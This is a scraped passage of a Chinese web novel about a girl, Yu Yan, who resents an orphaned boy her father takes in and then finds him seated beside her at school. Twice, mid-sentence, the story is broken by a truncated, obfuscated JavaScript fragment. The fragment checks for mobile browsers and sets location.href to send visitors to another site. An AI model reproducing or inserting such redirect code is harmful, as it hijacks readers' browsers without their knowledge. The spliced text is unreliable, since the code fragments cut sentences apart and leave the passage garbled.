俞淮强好声好气地解释:“医院很大,李衍没去过。再说了,未成年检查需要家长陪同。” 不解释还好,最后一句直接弹动了扎在俞言心口的那根刺。 她硬声道:“你又不是他家长。他爸妈明明都……” “俞、言。”俞淮强彻底转过来,一字一顿地低斥阻止。 又凶。 她狠狠瞪着斜前方那个一动不动的始作俑者。 她发现了,每当这种时候,每当她和俞淮强因他而起争执时,他总是这样置身事外地沉默。 “喂,”俞言不客气地敲了敲前面的靠背,“你说,你父母是不是都不在了?” “不是。”李衍转过头,脸上没什么表情,声音平静得像在说别人的事:“是全家都不在了。” 俞言被他这话弄得愣了一下,但很快看向她爸,字字清晰:“我没说错吧!” 俞淮强气得直叹气,好在李衍并未露出任何伤心难过的神色。到医院后,俞言怒气冲冲地蹿下车,兰姨赶忙小跑着去追。等她们的身影彻底消失在门诊大厅后,俞淮强才敢开口让张叔带李衍去做检查。 走前,他拍了拍李衍的肩,语气带着歉意:“俞言的话你别放在心上。她从小被她妈妈宠坏了,当然我也有责任。其实她是想有个哥哥的,只是一时半会儿还无法接受。” 李衍几乎是立马开口:“叔叔,我不想当她哥哥。” 俞淮强一愣。 李衍:“我只想在敏行上学。” 俞淮强: “我知道……” 李衍沉默了一秒:“我想申请住校。” 真是一个比一个倔。俞淮强直摇头:“敏行只能走读,再说学校哪儿有家里住着舒服?” 见李衍还要开口,他连连摆手:“先看医生,这事以后再说。” 俞言像一尾灵活却焦躁的鱼,在人群的缝隙里横冲直撞。兰姨两条老腿怎么撵都撵不上,急得直喘气,最后是俞言自己停了下来,转过身来时眼圈通红:“我爸是不是背叛过我妈?!” 这话声音不小,路过的病人和家属纷纷投来探究的目光。 兰姨一听,眉头蹙起,斩钉截铁地低声呵斥:“哪个神经病胡说八道!” 俞言像是抓住了某种证据,执拗地追问:“你别管谁说的。周叔叔不就是在外头有了人,才有了周超越的吗?” 反应过来的兰姨气得咕哝了一句:“周既明那个小混球!”她快步上前,揽过俞言的肩膀,将她带到怀里,声音放得又轻又柔:“好孩子,别听外人瞎说。你爸爸是把李衍带回来了,但那是因为李衍救了他的命,他是知恩图报。” “可是我们已经给过他钱了。”俞言的声音闷闷的。 “你爸觉得,一条命的恩情不是那点钱就能还得清的。”兰姨一边说,一边轻轻把她带到人稍少些的角落,像小时候安抚被雷声吓坏、躲在衣柜里的她一样,一下一下轻抚着她的后背。 “你想想,要是当时没有李衍,你爸爸可能就……比起家里多一个人,哪个结果更让你无法接受?” 俞言不赞同,硬声反驳:“那算救吗?” 兰姨斟酌片刻,决定不能再瞒了:“你爸爸当时昏迷了好几天,为了不让你担心,我们才骗你说那口井不到三米。” 俞言沉默了,过了一会儿,才极小声地问:“……很严重吗?” “不是严不严重的问题,”兰姨声音沉重,“是再晚上一点,命就没了。” 俞言哽住了,低下头,不知道该说什么。 “你最清楚你爸的为人,他那么传统守旧的人,李衍要真是他的儿子,可能等到现在才接回来?再说了,你仔细看看,他们俩长得有哪一点像了?” “像!”俞言忽地抬起头,执拗地说,“眼睛像!” 兰姨语气里充满了不可思议的疑惑:“你确定?你从哪儿看出来的?” 俞言的气势弱了下去,迟疑了一下,声音低了几分:“……周既明说的。” 兰姨顿时一副“果然如此”的表情,恨铁不成钢地叹道:“我就知道!那熊孩子嘴里从来吐不出象牙!” 市第一人民医院的体检科在顶楼,因为是vip套餐,全程不用排队,俞言刚抽完一管血,俞淮强就跟着上来。他走过来问她痛不痛,俞言头歪到左边,又笑眯眯地绕到另外一边去,俞言直接转身。 直到护士受不了提醒:“不要动!”俞淮强这才停下踱步,老实地站到女儿身后。 之后的整个体检过程,俞言没再和俞淮强说过一个字。十几项检查做下来,临近十一点,俞言从彩超室出来时,俞淮强正在接电话。 他只低声应了几句便挂断,转而对着兰姨说道:“和菜没关系,是营养不良,从来没吃过海鲜和高蛋白的东西,猛地一吃肠胃受不了。这两天饭菜弄清淡些,给他养一养。” 一旁的俞言轻轻哼了一声。 俞淮强闻声回头,手里捏着她的报告单,表情严肃起来:“你还哼别人?医生说你也要多吃肉,体重偏低,血糖有点低,小小年纪还贫血。” 俞言抿着嘴不说话,径直从他身边走过。 俞淮强跟在她身后,语气放软:“中午想吃什么?” 俞言依旧不理他,面无表情地等着电梯。 “去哪个商场?仁景春和还是六龙百货?” 这两个商场一个在市中心,一个在二环,并列栖禾最大最豪华的购物中心。 俞言停脚,转头:“仁景春和。” 俞淮强忍不住笑了:“逛商场真是比你爸什么话都管用。“他顿了顿,又逗她:“要不等你长大了,爸爸给你开一个?住商场都行。” 俞言白了他一眼,走进电梯。却在低头看脚尖的瞬间,忍不住悄悄弯了弯嘴角。 电梯下到一楼,张叔和李衍正等在大厅入口处。 俞言怪模怪样地吐了下舌头,李衍立刻将视线移开,看向别处。 “小孙已经把车开过来了,你先送兰姨回荔园,最迟四点前到公司就行。”俞淮强吩咐完张叔,转头看向李衍:“你和我们——” 说到这,他瞥了一眼旁边假装看手机的俞言,话到嘴边改了口:“你先跟兰姨回家休息吧。” “他不去啊?”俞言收起手机,表情平淡,语气听不出情绪。 俞淮强笑:“今天是你逛商场,爸爸肯定要单独陪你。” 单独两个字一顿一顿的,强调得十分刻意。 她爸就是这样生气时严肃得吓人,哄人时又甜言蜜语无所不用。俞言早就不吃这一套了,可脑海里总是回响着兰姨那句“要是李衍没救你爸,你可能就再也见不到他了”。 视线不由自主移到沉默得像根木头的少年身上,头发是刚理过的,脸很干净,上衣整洁,裤子一看也是新买的。 唯独脚下。 运动裤配丑了吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339507|183227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唧的牛皮凉鞋是什么鬼? 光是瞥一眼都觉得替他尴尬。 俞淮强观察人心的本事一流,笑呵呵地打圆场:“李衍还没去过这么大的商场呢,要不带他一起去见见世面?” 俞言没吭声,但也没反对,俞淮强知道这是同意了。 仁景春和是前年开业的,重金聘请了日本著名设计师打造,独特的建筑风格和上百个国际高端品牌使其逐渐成为栖泽的新地标。 三人在顶楼的空中花园用餐时,俞言给周既明打了个电话。 虽然她允许李衍一同逛商场,但可不想这一路都和他大眼瞪小眼。 俞淮强带着三个小孩从底楼逛起。商场内灯光璀璨,人头攒动。俞言和周既明并排走在最前面,李衍则隔着三步远的距离跟在后面。 同样踩在光可鉴人的大理石上,前面的少男少女从容不迫有说有笑,而后面的男生则带着几分生疏和震撼审视着周围的一切——从未见过的旋转扶梯、从玻璃顶悬下的五层楼高水晶吊灯、以及挂在墙上的装饰汽车。 眼睛还没来得及接纳完,大小姐已经逛完五家店铺了。没过多久,除了她自己,每个人手上都拎满了购物袋。 一小时后,一行人又回到一楼,走进一家装修精致的高级女装店。 开学在即,俞言想选一条漂亮的裙子在开学典礼上作为学生代表发言。试了几件都不太满意,店员看着她身后那一堆印着大logo的购物袋,神秘地拿出了几条裙子:“这是走秀款,本来是留给另一位VIP客户的,但我觉得你穿更合适。 俞言选中一条白色的走进试衣间。这条裙子领口设计端庄,腰线剪裁完美,比之前的更合身。店员连连称赞,俞言自己也觉得不错,对着镜子转了一圈后,快步走出试衣间。 “好看吗?” 回答她的只有空气。 沙发上原本并排坐的三个人,一个都不在了。 俞言环顾一周,只发现站在玻璃墙前聚精会神往外看的李衍。她眯着眼跟着眺望过去,对面是一家乐高店,正对的橱窗里摆了一架安装好的航天穿梭飞机模型。 又是飞机。 怎么男生都喜欢飞机? “小美女,简直太适合你了,真没见过比你穿得更好看的。”店员见气氛有些冷,连忙打圆场:“你本来又瘦又白,穿上去比模特还有气质,我们品牌真该请你去走秀。” 李衍闻声转过头来。 “他们人呢?”俞言问,语气里有点不易察觉的郁闷。 “周既明去买游戏卡了,俞叔叔在外面打电话。” 店里一时间只剩下他俩和过分热情的店员。 空气安静了两秒,俞言看了看镜子里的自己,又瞥了眼四周。 除了店员再没其他人了。 她内心斗争一番后,勉为其难地问:“好看吗?” “啊?”李衍有一瞬间的错愕,毕竟逛了一下午,俞言没跟他说过一句话,更别说征求他的意见了。 看他愣住,俞言那点不自在立刻化为了不耐烦:“我问你我身上这条裙子怎么样。” 李衍像是才反应过来,目光重新落回她身上。 他的打量很直接,甚至有点笨拙的认真,从裙摆的褶皱看到肩线的蕾丝,像是在完成一项严谨的观察作业。 片刻后。 他迎上她的目光,语气诚恳:“好看。” “是吗?”俞言抱起手臂,显然不满意这个干巴巴的答案。 她往前走了半步,微微歪头盯着他的眼睛:“那你怎么眼睛都没亮一下?” 李衍:“……” 见他语塞,俞言忽然觉得有点没劲,拎起先前试的另一条裙子递给店员:“要这个。” …… 之后的一段时间,俞家维持着一种表面平静。 俞淮强大概是秉着“小孩闹脾气多相处一段时间就好了”的心态睁只眼闭只眼。兰姨可就遭老罪了,夹在中间备受煎熬。 就比如吃饭这件事吧,总是心照不宣的一个在前一个在后,绝不会同时出现在楼下。 要是哪顿没估摸好时间,李衍走到半道了也会立刻调头,而俞言这些天除了周既明就没看她对谁笑过。 连带着她这个保姆也因为歪打误撞做了一道李衍爱吃的炖牛腩而被跟着冷脸坐牢。 只有俞淮强在家的时候,两人会勉强坐在同一张桌子上,各自硬着头皮,隔得十万八千里远。 吃饭快如闪电,硬生生把饭厅变成争锋相对水火不容的战场。 夏日可畏,时间飞逝。 一晃,开学了。 8.chapter 8 敏行坐落在老城区已有百年之久,几年前政府兴致勃勃地规划了一块新地力邀搬迁,老校长却连连摆手,笃信脚下是块能出人杰的风水宝地。 风水有多好不清楚,巴掌宽的单行道堵得人神共愤。 学生们熟练地提前下车,如泄闸的洪流般涌进校门口。 俞言也是大军中的一员,她不像旁人那样昂首向前,反而走几步就下意识地快速回头瞥一眼,似乎是在人潮里寻找某个特定的身影。 “嘿!” 忽然,一只手从后面拍上了她的肩膀。 俞言吓得激灵转身,待看清来人后,紧绷的肩膀才松懈下来。 她长长吁出一口气。 “开学快乐!” 施茴顶着她那标志性的蓬松蘑菇头,笑容灿烂得晃眼。 俞言一点也不快乐,懒得搭话,扭头继续往前走。 施茴不依不饶地跟上去,在她耳边忿忿:“一开学就摆张臭脸给谁看?小心霉运当头哦!” 已经当头了。 “我是把你当朋友才好心提醒你。” “是吗。”俞言毫无波澜。 越说越得不到回应的施茴越想不通,她大跨一步,堵住俞言的路,挑挑眉:“你知道邹文轩他们在背后说你什么吗?” 这句话果然奏效。 俞言停脚: “不知道,说什么了,是不是你说的?” 空气安静了两秒。 施茴老实巴交:“我们一起说的。“ 俞言:“……” 施茴一向奉行“只要我不尴尬,尴尬的就是别人”的处世哲学。 “欸?”她伸长脖子,像只土拨鼠一样左右张望:“周既明呢?我明明看到你们俩一起下的车。” “鬼知——”俞言话堵在嘴边,音量不自觉拔高:“谁?你看见谁?” “你紧张什么,”施茴莫名其妙看她一眼,“没穿校服的又不是你。周既明居然敢不穿校服,要是在我们班,不得被米老鼠大卸八块!” 米老鼠,真名米敏琼,高二(1)班班主任兼年级组长。 窄脸,高颧骨,常年扎一个紧实的短马尾,爱穿肉色短丝袜配皮鞋。由于平时不苟言笑,看人时厚重的镜片总是反出两道精明的冷光,全年级的学生从她身边路过都恨不得贴墙根溜走。 俞言眯起眼,仔细审视着施茴的表情。 什么眼神?两人的背影天差地别好吧……不过瞎得好。 她心情莫名松快了点儿,随口敷衍:“他就喜欢被骂。” 施茴:“神经。” “你是神经吗?!”米敏琼对着跟前低头的男生怒吼:“开学第一天就敢往同学凳子上抹胶水?你脑子里是不是灌的也是胶水?” “行,这么喜欢粘,”她从抽屉里拿出一管液体胶扔过去,冷笑了下:“从大腿到脚踝,给我仔仔细细涂满,站直并拢一分钟,感受一下什么叫难舍难分,然后滚去操场跑三圈。” 男生立刻嬉皮笑脸讨饶:“老师别啊,我错了。” “赶紧的!” 男生不服地嘀咕两声,最终还是硬着头皮照做,像只兔子一样一蹦一跳地走了。 目送调皮捣蛋的学生彻底离开,米敏琼这才转回身,目光投向一旁安静等待的人: “李衍是吧?” 初次见面,米敏琼并没有展现任何客套的笑意,而是板着脸拉开抽屉,翻出几页成绩单,目光如扫描仪般快速掠过。 老实说,目睹完刚才那一幕,等待中的李衍是有点忐忑的。 他又挺直了点腰背。 时间在沉默中一分一秒过去。 “不错。”米敏琼审阅完成绩单,看他的眼神总算带上了两分欣赏,“能一直保持年级第一,非常难得。” 李衍松口气。 “但是,”米敏琼话音陡然一转,手指重重敲在纸页某:“初三下学期是怎么回事?都掉出年级前五十了。” “……” 李衍并不想解释。 米敏琼看着他,目光像探照灯。 李衍只好含糊道:“家里出了点事。” “什么事?” 李衍还没见过这么咄咄逼人的老师,从小到大,再严厉的老师看到他的成绩都能笑得跟花一样和蔼。 敏行果然不简单。 他垂下眼:“家人去世了。” 米敏琼动作一顿,办公室的空气也随之凝固。 李衍在心里叹了口气——看吧看吧,非要问到底。 然而下一秒,米敏琼推了推眼镜,语气甚至比刚才更严厉:“那还是心态不够稳,抗干扰能力太差,在1班念书这样可不行。” 李衍:“……” 他连连点头:“嗯嗯嗯。” 米敏琼觑他一眼:“顶什么嘴。” 李衍:“……” 米敏琼没再继续,拍了拍旁边摞得整整齐齐的一叠新书:“校服和教材我都给你领来了,教材加上配套习题册,一共二十八本,你数一数。” 按理说,这些该学生自己去教务处领。 “谢谢米老——”道谢的话说到一半,李衍目光扫过书脊时忽然顿住了,心头浮起一股疑惑:“怎么全是选修?” 米敏琼同样疑惑地看着他:“不然呢?” 像是忽然意识到什么,镜片后的眼睛微微睁大:“你不会没学完必修吧?” 李衍呆住了,两人隔着办公桌大眼瞪小眼。 “哦……”米敏琼反应过来,语气平淡地陈述:“你是镇中转来的,那种学校没有提前教学抓进度的习惯。” 那种学校…… 他承认教学质量有差距,但多多少少还是有些不服气,语气有点儿硬:“那种是哪种?” 米敏琼就一个字,干脆利落——“烂!” 李衍还想辩驳,却被对面一个问句堵死了后路:“它要是好你转来敏行干什么?” “……” “回去赶紧让家长想办法,校外找几个好老师尽快补上。”米敏琼起身,象征性地拍了拍他的肩膀,语气总算是缓和了些,“不要担心,你底子不错,努努力,跟上进度问题不大。” - 教室里陆陆续续进人,一个假期没见面,大家吃流水席似的左窜右跑,嬉笑打闹,搅得空气都跟着嗡嗡作响。 坐在中间的俞言只觉得太阳穴突突直跳,恨不得把前面两个隔空投篮球的男生抓起来对撞。 就在她忍无可忍,起起准备付诸行动之时—— “靠靠靠——”吴雷的声音从门外传进来,他姿势古怪地捂着□□:“我们班来了个阿达迪斯!” 处于变声期的男生跟鸭子没区别,嘎嘎一叫,难听到大家在瞬间安静了下来。 俞言一屁股坐回去。 “来了个阿什么,什么玩意?”投篮男A愣愣地问。 男生B趁机把“篮球”砸向吴雷:“你大爷的,过来把我板凳擦干净!” 吴雷一个闪身躲开,不再嬉笑,指着那人鼻子怒目:“嚷嚷什么,大爷等会儿让转校生给你擦秃噜皮。” 最后这句话像扔进油锅里的一滴水,教室瞬间又炸开了。 “真有新同学啊?” “我就知道,林雪出国了肯定会有人补上来。” “谁呀?隔壁考年级第五的学委吗?” “额……阿达迪斯到底是什么啊?” 总算有人问到了点子上。 吴雷一个箭步占领讲台,冲第一排的小胖子挤眉弄眼:“你吃过粤利粤吗?喝过雷碧吗?” 见小胖迷茫,又又坏笑着指向右边一个正低头摆弄项链的女生笑:“你肯定戴的是Gucici不是Googi,背的是Prada不是Proda。” “我才不穿假货呢。”被冒犯到的女生蹙眉娇声。 吴雷见状,满意地高举双臂,吴雷高举手臂,开始吟唱:“A—di—das~~~A—da—dis~~~” 教室里鸦雀无声了两秒。 随即爆发出更大的声浪: “啊?穿山寨货啊……” “阿迪达斯还能有冒牌???” “吴雷你肯定又在忽悠人!” 敏行是所名副其实的私立贵族学校,入学门槛极高,学生非富即贵。当然,学校也会从外面挖来成绩极其优异的普通学生,并提供全额奖学金,但这类学生不可能一转校就直接进入1班。 吴雷指过去,发狠道:“赌喝胶水,一整瓶!” 教室里响起几声嘘声和轻笑,却没人接茬。 有人迫不及待地伸着脖子往窗外走廊张望:“人呢?在哪儿呢?” “还在米老鼠办公室接受教育呢。” “男的女的?” “母的。” 米敏琼悄无声息出现在后门口,她个子不高,却自带一股强大的压迫气场。 吴雷瞬间腰一弯,缩着脖子就溜回了座位。 整个教室鸦雀无声,但几乎所有人都忍不住转头看去。 除了无力闭上眼睛的俞言。 “噗…真的是A—da—dis?欸……”施茴拼命憋着笑,用手肘猛蹭俞言的胳膊,示意她看那转校生裤腿侧面那串格外显眼的白色字母。 俞言痛苦扶额。 她当然知道,今早出门时就瞥见了,丑得要命,还以为是俞淮强给他买的新行头,压根没多想,当然也没有再看第二眼。 谁能想到字母顺序是错的! 这下完蛋了。别说她看不顺眼,吴雷那几个好事的,绝不会轻易放过这个绝佳的调侃机会。 “快快快看他的袜子!”施茴笑得肩膀直抖,“‘吉尔达’!哈哈哈,真是个神人啊!” 俞言自始至终没有回头。她甚至用手捂住了眼睛,仿佛这样就能隔绝一切。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351631|183227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明明没有人知道他们认识,穿这身冒牌货的也不是她,可一种难以言喻的、火辣辣的羞耻感,还是不受控制地从钻了出来,烧得她脑袋嗡嗡作响。 “不过长得挺帅的。”施茴又道。 俞言一顿,脑子瞬间冷却下来,难以置信: “你哪只眼睛看出来的?” 施茴指自己:“两只。” “……”俞言点点头:“行,我明天就陪你去医院挂个眼——” “哟,聊什么呢这么开心?”一个不高不低却能让全班听见的声音插了进来:“要不要我们都出去给你们腾个地方,这天气开茶话会还是很不错的。” 米敏琼不知何时已经走到了她们课桌旁,微笑地看着她们。 施茴低头研究桌面纹路,俞言别开脸又撇嘴。 米敏琼懒得再教训,板起那张惯有的严肃面孔,领着人往前走。 “李衍,我们班新同学。”米敏琼言简意赅地交代完毕,抬下巴示意:“自我介绍一下。” 李衍站上讲台。他倒是不紧张,只是有点不自在,因为从踏进教室开始,大家的视线莫名其妙全落在他下半身。 模板化一套说辞过后,他的脸上没有一丝笑容,甚至因为依旧盯着他下半身打量的眼睛而微微蹙起了眉。 不悦的情绪明显到刺眼 吴雷拖长了调子:“没啦?” 李衍面无表情:“嗯。” 他这副冷淡的态度彻底激起了吴雷的不满。怪笑一声,提高了音量:“大家都觉得你这裤子好帅,哪儿买的啊?” “忘了。” “以前不是敏行的吧?” “不是。” 吴雷立刻像抓住了什么把柄,身体往后一靠,尽管坐着矮了一大截,语气却倨傲得像在审问:“从哪个牛逼的学校转来的啊?” 不等李衍开口,米敏琼眼神刀过去:“吴雷,嘴巴没抹胶水觉得遗憾是吧,要不我请你上来替新同学介绍?” 大家哈哈大笑起来,李衍也跟着笑了下。 就是这一笑,让吴雷并腿跑三圈憋的火一起窜了起来,他凶狠地比出个小拇指。 “行了,都安静!”米敏琼敲敲讲台,“把物理选修1拿出来,翻到第十三页。上课前我先打个预防针,某些同学暑假心都玩野了……”她的视线扫过全班,忽然瞥见还杵在讲台旁的人,不悦道:“你怎么还站在这儿?” 李衍抱着一大摞沉甸甸的新书,表情有些无奈:“不知道位置。” 米敏琼眉头皱得更紧:“怎么不早说?” 李衍:“……抱歉。” 米敏琼长长咝一声,这真是个大难题。 视线扫描一圈,只有倒数第二排有个空位,那是之前出国同学的位置。 她目光一停,大家的视线齐刷刷紧追过去。 敏行的教室宽敞明亮,一个班不超过四十人,虽然分成四大组,两人一排,但桌子都是独立的。 那个仅剩的空位旁坐着一位女生,她对所有目光充耳不闻,头几乎要埋进书本里,披散的黑发完全遮住了脸庞,像贞子一样散发出一股“生人勿近”的压抑气息。 以至于前后左右的桌子,都默契地向外挪了几寸,无形中隔出了一片独立的“真空地带”。 不约而同的,看向李衍的目光由好奇变成了深深的同情。 “你说这俩到底谁更惨?哎呀……真是难分高下。”施茴在一旁感慨。 一个是一天憋不出一个字的孤僻学霸李珂晶,一个是刚来就穿山寨货惹毛了吴雷的转校生。 简直是王牌对王牌,噩梦二重奏。 施茴光是想到那场景就头皮发麻:“听说林雪就是受不了李珂晶才提前出国的。” 没人应。一转头,竟然发现俞言在笑。 “你高兴什么?”她莫名其妙。 俞言从没发现唇角这么难压:“没什么。” 施茴嘿嘿一笑:“我也高兴,林雪走了,我一直提心吊胆,生怕米老鼠发配我去跟李珂晶当同桌。” 毕竟她是班上倒数第一,米敏琼最爱搞“好带差”的帮扶把戏。 她美滋滋的:“看来真是好人有好报啊——” 话音刚落。 米敏琼不容置疑的声音随即响起:“施茴,你去倒数第二排,和李珂晶同桌。” “……啊?”施茴不敢相信自己的耳朵。 话痨也要走了,俞言这下是真心实意地憋不住笑了。 只是笑容还没来得及完全展开,又听见米敏琼转头对李衍道:“你补施茴的位置。” 补谁??? 愣神之间,李衍已经抱着书走了过来,无比自然地将书快速塞进抽屉里。 坐下的同时,还不忘格外“礼貌”地、用一种纯粹对待陌生同学的语气侧头打了个招呼: “同学,你好。” 俞言深吸口气,笑得比哭还难听。 9.chapter 9 四十分钟的课堂过得可谓是如坐针毡,度秒如年。 下课铃声如同天籁,她“唰”地一下就站了起来。 “我有说下课吗?” 米敏琼啪得关上教案,抬头蹙眉,镜片后的目光扫了过来。 俞言站立如松,目光坚定。 大家纷纷投来敬佩的眼神。 僵持两秒后,米敏琼把教案往腋下一夹:“下课。” …… 俞言一路尾随米敏琼来到办公室。 她推门而入:“米——” “喊什么喊。”正在拍打身上粉笔灰的米敏琼头也没抬, “敲门喊报告没?” 俞言抿了抿嘴,快速退出去,在门框上不轻不重地敲了三下,听到里面传来一声“请进”后,才重新走了进去。 “最好是真有什么天大的事,让你连一秒钟都等不了。”米敏琼推了推眼镜,目光锐利如针。 俞言开门见山:“我要换位置。” 米敏琼顿了一下,有点意外:“为什么?” “合不来。”俞言言简意赅。 “你们才坐了一节课,四十分钟,怎么就合不来了?” 心里打了一万种草稿准备强硬表态的俞言,忽然语塞了。 按照俞淮强的办事风格,米敏琼大概知道他们认识,但她总不能直接说“我怀疑他是我爸的私生子”吧? 缄默半晌后,她干巴巴挤出一句:“他穿Adadis,没有版权意识。” “哦。”米敏琼不以为然地端起茶杯喝了一口,“还有呢?” 俞言:“不够吗?” 米敏琼实在不理解这些家境优渥孩子的脑回路:“校服已经发下来了。再说,他就算披个麻袋来,跟你又有什么关系?” “吵。”俞言搜肠刮肚,又憋出一个理由,“他上课老说话。” 米敏琼狐疑:“是吗?” “他趁你转身写板书的时候偷偷说的。” 米敏琼心平气和地道:“那也没你和施茴坐一起话多。” 俞言:“……” 她深吸一口气,豁出去了:“反正我就是不想和李衍当同桌!” 这声吼显得格外洪亮,把隔壁工位正在备课的老师都惊得抬起了头。 “声音大就有理是吧?我也不聋听得见。” 米敏琼皱眉,向后靠在椅背上,指尖叩了叩桌面,“想换到哪儿?” 见有戏,俞言立马微笑,态度端正:“哪儿都行!” 米敏琼顿住抬头,认真思索了两秒:“操场怎么样?风景不错,还没人打扰。” “……”俞言梗着脖子,“您不介意的话我当然没问题。” 米敏琼瞬间收起那点玩笑的神色:“我介意。回去吧。” 接下来的几分钟,米敏琼不再理她,自顾自地批改作业,把她晾在一边。 俞言越想越不服气,全班三十九个人,怎么偏偏就她这么倒霉?她捏了捏拳头,硬着头皮又上前半步:“凭什——” “凭我是1班的班主任,凭你是1班的学生。”米敏琼丝滑地接过她的话头,拎起教材站起身,“我要去2班上课了,没空跟你扯,不想坐就站着,站到你服气为止。” 对于俞言这种软硬不吃的学生,只能以暴制暴。米敏琼下课回来,办公室里果然没了她的身影。 但取而代之的是眼巴巴望着她的施茴。 “她不说话,一个字都不说,上课不说,下课还是不说……我和她说话她不说,别人说话她也不说,她简直……我——” “停。”米敏琼抬手打住,反反复复听得她实在受不了:“还有别的要换座位的理由吗?” 施茴连连点头:“她至少三天没洗头发了,凑近了有点臭臭的。” 米敏琼动作顿了一下,表情严肃起来:“不要当面和李珂晶说,我会提醒她注意个人卫生。” “好!”施茴一口答应,随即脸上堆起讨好的笑,“那米老师,您看我这座位……” 米敏琼没接她话,而是打开抽屉,掏出一张纸递过去。 “您先看看。” 施茴顺手接过,低头一看——好家伙!李珂晶的大名纹丝不动地霸占着年级榜首,俞言紧随其后位居第二。再仔细一瞧分数,李珂晶的总成绩竟然甩开俞言整整十六分。 简直非人类。 “多少人挤破头想跟年级第一当同桌,要不是林雪转走了,这好事哪里轮得到你。”米敏琼说。 施茴满腹狐疑:“……真的吗?” 米敏琼由衷地问:“那你觉得你的成绩配挑位置吗?” 闻言,施茴迅速把成绩单翻到背面,当视线精准定位到最后一栏时,整个人瞬间像被戳破的气球——蔫了。 “俞言也是年级第二啊,”她垂死挣扎,“我跟着她学也够用了吧?” 米敏琼不耐烦地挥挥手:“什么时候考进年级前二十了再来跟我提要求。” 打发走施茴,米敏琼长长舒了口气。一个座位问题占了她整整两个课间,她揉了揉发酸的脖颈,刚站起身想活动一下—— 咚咚咚。 又有人敲门,米敏琼墩地坐回去。 “进。” 看清来人,她简直气笑了:“嚯,今天是怎么了,一个个的排着队找我麻烦。” 兜头一句埋怨,李衍进也不是,走也不是。 他站在原地,想到刚刚擦肩而过的短发女生,叫施什么来着,俞言两节课前的同桌,边走边愤愤地锤栏杆。 估计被米敏琼训得不轻。 “你又是什么理由。”米敏琼面无表情地问。 李衍:“啊?” 他这么一愣,米敏琼也跟着滞了下,奇了怪了:“不是来换座位的?” 李衍摇头,表明来意:“米老师,学校还有没有多余的必修资料吗?我怕外面书店买的不够好,想带敏行原本的回家参考。” 他趁课间翻阅了除课本之外的所有资料,有教辅,习题册,以及套卷,五花八门,但所有的封面都是同一个模板且没有出版社。 其中物理习题册里有几道题他见过,是石中的刘老师在他准备初升高的自主招生时千辛万苦找来的,含金量极高,但在找来的卷子中,一张也只有那么一两道。 而敏行的资料,每一个科目从头到尾高水准,像是专门凝练择出的经典好题合集。 所以他猜测,这些资料都是学校的老师自己编写的。 好学校的好处就在这儿了,雄厚的师资,广泛的信息来源,以及能支撑教研的充足经费。 被异样眼光盯出来的那点不舒服浇灭了。 他庆幸自己听进去了刘老师的话,没有再执拗地拒绝俞叔叔的安排。 虽然一想到俞言,心头还是掠过一丝复杂情绪。 “有倒是有。” 米敏琼抵了抵眼镜,“但你去校外辅导的时候那里的老师会给你准备,一对一量身定制,他们的资料会比敏行原本的更好。” “校外辅导?”李衍抓住关键词,有些迷茫。 “嗯,那里的老师会给你的,不过你想要的话我可以打电话给教务——” “我不上辅导班。”李衍打断道。 反应过来的米敏琼以为自己听错了:“你说什么?” “我不找老师,我自己学。” “开什么玩笑?”米敏琼的手掌“啪”一下按在桌上,“不要以为自己成绩好就为所欲为,我告诉你,1班随便找个出来,哪怕是施茴,去你原来的那个学校也能拿第一。” “难道你觉得自己是看一眼就会的天才?” 问完,对面沉默了,初来乍到,米敏琼也不想太狠地打击他,开始缓和声音讲道理:“老师相信你有自学的能力,但你需要多久?时间对于现阶段你来说有多重要不必我多说吧,你学的时候别人也在学,只不过你在补漏,人家是在进步。这个差距,你又怎么去追!” 她说这些的时候李衍都没吭声。 山外有山人外有人的道理他懂,时间紧迫他也明白。 只是心里正盘算着别的事情。 斟酌了会儿,他试探地问:“校外的老师……补一次课大概需要多少钱?” 石中也有老师开辅导班,按学期算,一周一次,一学期六百,敏行比石中好,估计要翻倍。 咬咬牙也不是不行。 “好点的老师八百左右吧。” 那还行,只贵两百,李衍又问:“一共几节课呢?” 米敏琼:“八百块你还想上几节?” 听这语气,李衍懵了:“一节啊?” “不然呢。” 李衍顿时丧气:“那我还是自己补吧。” 米敏琼以为一辈子都不会对自己的学生问出这样的问题:“是费用上有困难?” 李衍回答得很坦然,并不觉得难为情:“太贵了,上不起。” 若不是他表情太过诚恳,米敏琼几乎要以为他是在开玩笑。 她想到起假期尾巴接到的副校长的电话,以及昨天来办公室和她见面的孙秘书,忍不住问:“你和俞言家里是什么关系?” 这话问得突兀,李衍明显愣住了。 安静的办公室里,两人眼睛对眼睛。 种种疑惑、犹豫、担忧一闪而过,李衍决定把问题抛回去,故作诧异:“老师你不知道吗?” 米敏琼掩饰般地捞过保温杯喝了口水,敏行学生家境不错的同时,家事也一团乱遭,为人师表,当然不能随意打听。 她放下杯子,意味深长地来了一句:“就是知道,才特意把你们安排成同桌。” “噢。”李衍挠了下后脖子。 米敏琼最后发话:“资料放学去413领,补课的事看你自己,我也只是提个建议。” - 俞言的脸臭了一整个上午,看谁都像欠她八百万,尤其是旁边那位新来的。 第三节是英语阅读课,英语老师纯正的伦敦腔宛若一首温和的催眠曲,引得底下哈欠连天。 这当然不能全怪老师,1班的学生几乎都是双语环境里泡大的,英语相当于第二母语,这种难度的课堂理所当然变成了比自习课还轻松的存在。 除了坐得端端正正,笔记不停的某人。 俞言不解地抬头看了眼投影幕布,看完更疑惑了。 是《Gone with the 